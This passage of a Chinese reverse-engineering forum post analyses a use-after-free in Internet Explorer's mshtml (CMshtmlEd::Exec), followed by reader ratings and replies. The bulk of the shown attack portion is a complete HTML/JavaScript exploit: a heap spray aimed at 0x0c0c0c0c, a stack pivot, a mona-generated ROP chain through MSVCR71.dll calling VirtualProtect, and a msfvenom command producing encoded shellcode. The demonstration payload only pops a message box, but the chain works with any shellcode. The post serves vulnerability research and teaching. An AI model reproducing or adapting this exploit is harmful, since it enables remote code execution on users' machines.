    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
    "%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll] 
    "%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
    "%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll] 
    "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
    "%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll] 
    "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
    "%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll] 
    "%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() +0x11 [IAT MSVCR71.dll]
    "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
    "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
    "");

生成Shellcode
[Bash shell] 纯文本查看 复制代码
msfvenom -a x86 -e x86/shikata_ga_nai --platform windows -p windows/messagebox TEXT="giantbranch" TITLE="giantbranch" -f js_le

最终堆中的0x1000的大小构造如下:
[Bash shell] 纯文本查看 复制代码
Padding + "\u0c0c\u0c0c" + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide


最终exp
[HTML] 纯文本查看 复制代码
<html>
  <body>
    <script>
      var arrr = new Array();
      arrr[0] = window.document.createElement("img");
      arrr[0]["src"] = "f";

        function alloc(bytes, mystr) {
                while (mystr.length<bytes) mystr += mystr;
                // 6 = 4 + 2 
                return mystr.substr(0, (bytes-6)/2);
        }

        block_size = 0x1000;
        padding_size = 0x5F2; //offset to 0x0c0c0c0c inside our 0x1000 hex block
        call0c = unescape('%u0c0c%u0c0c');

        Padding = '';
        NopSlide = '';
        NopSlide1 = '';
        NopSlide2 = ''
        
        //padding
        for (p = 0; p < padding_size; p++){ 
                Padding += unescape('%u4141');
        }

        for (c = 0; c < block_size; c++){ 
                NopSlide += unescape('%u9090');
        }
        
        // giantbranch
        //var Shellcode = "\u6967\u6e61\u6274\u6172\u636e\u9068";
        var Shellcode = unescape("%u7dbd%u35c4%udbef%ud9c9%u2474%u5ff4%uc931%u42b1%u6f31%u8314%u04c7%u6f03%u9f10%uec31%uc404%u7b63%u0eff%u56a2%u994d%u9ff4%ueed6%u2f86%u869c%udb64%u7ad4%u9dfe%u0910%u027e%u3baa%u0d47%u36b4%uc844%u69c5%u0a55%u02a5%ue9c6%u9f02%uce52%ucbc1%u5674%u19d7%uec0f%u56cf%ud14a%u83ee%u2588%ud8b8%ucd7b%u303b%u2eb2%u0c0a%u7c49%u4ce9%u7ac6%u8333%u842a%uf074%ubdc1%u2206%ub702%ua117%u1308%u5ed9%ud0ca%uebd5%ubd98%ueaf9%uca75%u6706%u2588%u338f%ua9af%u78f1%ud91d%uaad8%u3feb%u9093%u3184%u1aea%u1cb9%ubd1b%u5ebe%u4824%ua505%u3460%u475e%u4fe5%uac42%ua758%u53f5%uc8a3%ue983%u5e54%u9df8%udf44%u6d68%uf1b7%uf90c%u7ec2%u8ba8%u5b1c%u30ba%u5179%u2e32%u9ad7%uab11%ua651%u08ca%u84c9%ud2a6%ud48d%u791c%ubb7a%u82a3%u2b85%u1e32%uf312%u94a2%u7180%u3d52%u1c22%ud3f5%u059d%u777d%ub2fa%u6bf7%uaa6a%u0464%u5a33%ub61f%ufbb1%u51b7%u9a5f%uaf29%ud456%uebfa%u6d63%uc5e3%u3fa1%u74b7%u4014%u46e7%uee58%ufcf7%u4150");
        
        //rop chain generated with mona.py - [url=www.corelan.be]www.corelan.be[/url]
        rop_gadgets = unescape(
                "%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll] 
                "%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
                "%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll] 
                "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
                "%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll] 
                "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
                "%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll] 
                "%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
                "%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll] 
                "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
                "%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll] 
                "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
                "%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll] 
                "%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() + 0x11 [IAT MSVCR71.dll]
                "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll] 
                "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
                "");


        stack_pivot = "\u8b05\u7c34"; // 0x7c348b05
        ret = "\u7f98\u7c34"
        pop_ret = "\u7f97\u7c34" //pop eax ,ret
        
        rop_gadgets  = rop_gadgets + NopSlide.substring(0, 32);
        
        var OBJECT = Padding + call0c + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide.substring(0, block_size - Padding.length - Shellcode.length - rop_gadgets.length - 4*4/2 );;

        //alert(OBJECT.length);
        OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb(0x10000-32)
        //bp mshtml!CFormElement::DoReset+0xe4
        //alloc 
        var evil = new Array();
        for (var k = 0; k < 150; k++) {
                evil[k] = OBJECT.substr(0, OBJECT.length);
        }
            
        </script>

    <iframe src="./exp1.html"></iframe>
    
  </body>
</html>

效果:
QQ截图20170330155345.png

漏洞总结


document.execCommand("selectAll");的执行生成了CMshtmlEd对象,跟着selectAll又触发了funcA,从而执行document.write("B");,导致之后在CMshtmlEd::Exec中的
CCommand::Exec函数释放了CMshtmlEd对象,而且并没有把对象的指针置空,但在CMshtmlEd::Exec后续执行中还是用到CMshtmlEd对象的this指针edi,导致释放后重用漏洞

免费评分

参与人数 16吾爱币 +16 热心值 +16 收起 理由
zsyhn + 1 + 1 用心讨论,共获提升!
ArrayList + 1 + 1 用心讨论,共获提升!
吾爱_欢迎您 + 1 + 1 --------
gxxxlxy + 1 + 1 谢谢@Thanks!
bccm + 1 + 1 我很赞同!
wcj1997 + 1 + 1 已答复!
海底总动员 + 1 + 1 我很赞同!
soyiC + 2 + 1 用心讨论,共获提升!
roamshi + 1 + 1 用心讨论,共获提升!
WYWZ + 1 + 1 用心讨论,共获提升!
文可う润心 + 1 + 1 谢谢@Thanks!
假面具 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
whitebird + 1 + 1 谢谢@Thanks!
独行风云 + 1 + 1 用心讨论,共获提升!
哎黑细作 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
守护神艾丽莎 + 1 + 1 热心回复!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2017-4-5 11:18
markdown插件准备弄还一直没上,后期一定搞上,现在这个格式看起来确实不行
k0Sh1 发表于 2017-4-5 20:24
本帖最后由 k0Sh1 于 2017-4-5 20:26 编辑

感谢楼主指出我在i春秋课程的问题,因为i春秋课程提供一节课讲课的时间有限,所以我只录制了关于!heap的方法跟踪UAF漏洞,没有详细介绍这个漏洞的原理,其实多数情况下,对vftable的申请和释放可以直接通过对类对象的跟踪来获得,比如楼主提到的具体跟踪方法,有时候为了节省时间,可以直接通过bp xxxxx ".printf \"Alloc at :0x%08x\n\",@eax;g;"这类方法直接打印对应存放vftable pointer寄存器来跟踪申请释放,同理Release也一样,比如有时候我们是对element object的UAF,double free等漏洞进行跟踪,有时候就对对象或者虚表的申请就在XXX类的CreateElement函数中等等..感谢楼主的详细分析,我也学习到了很多!赞
 楼主| giantbranch 发表于 2017-4-5 11:29
Hmily 发表于 2017-4-5 11:18
markdown插件准备弄还一直没上,后期一定搞上,现在这个格式看起来确实不行

哈哈,期待{:1_912:}
wjliuxiaofeng 发表于 2017-4-5 11:30
辛苦了   前排点赞
占卜士 发表于 2017-4-5 12:14
辛苦了,前排点赞
青衣惆怅 发表于 2017-4-5 12:51
火前留名
a527840177 发表于 2017-4-5 13:37
火前留名
nicelee 发表于 2017-4-5 13:37
火前留名
dwcxb 发表于 2017-4-5 17:30
虽然看不懂,但这个必须顶!
 楼主| giantbranch 发表于 2017-4-5 18:19
dwcxb 发表于 2017-4-5 17:30
虽然看不懂,但这个必须顶!

谢谢哈,慢慢来,总会看懂的
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 13:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表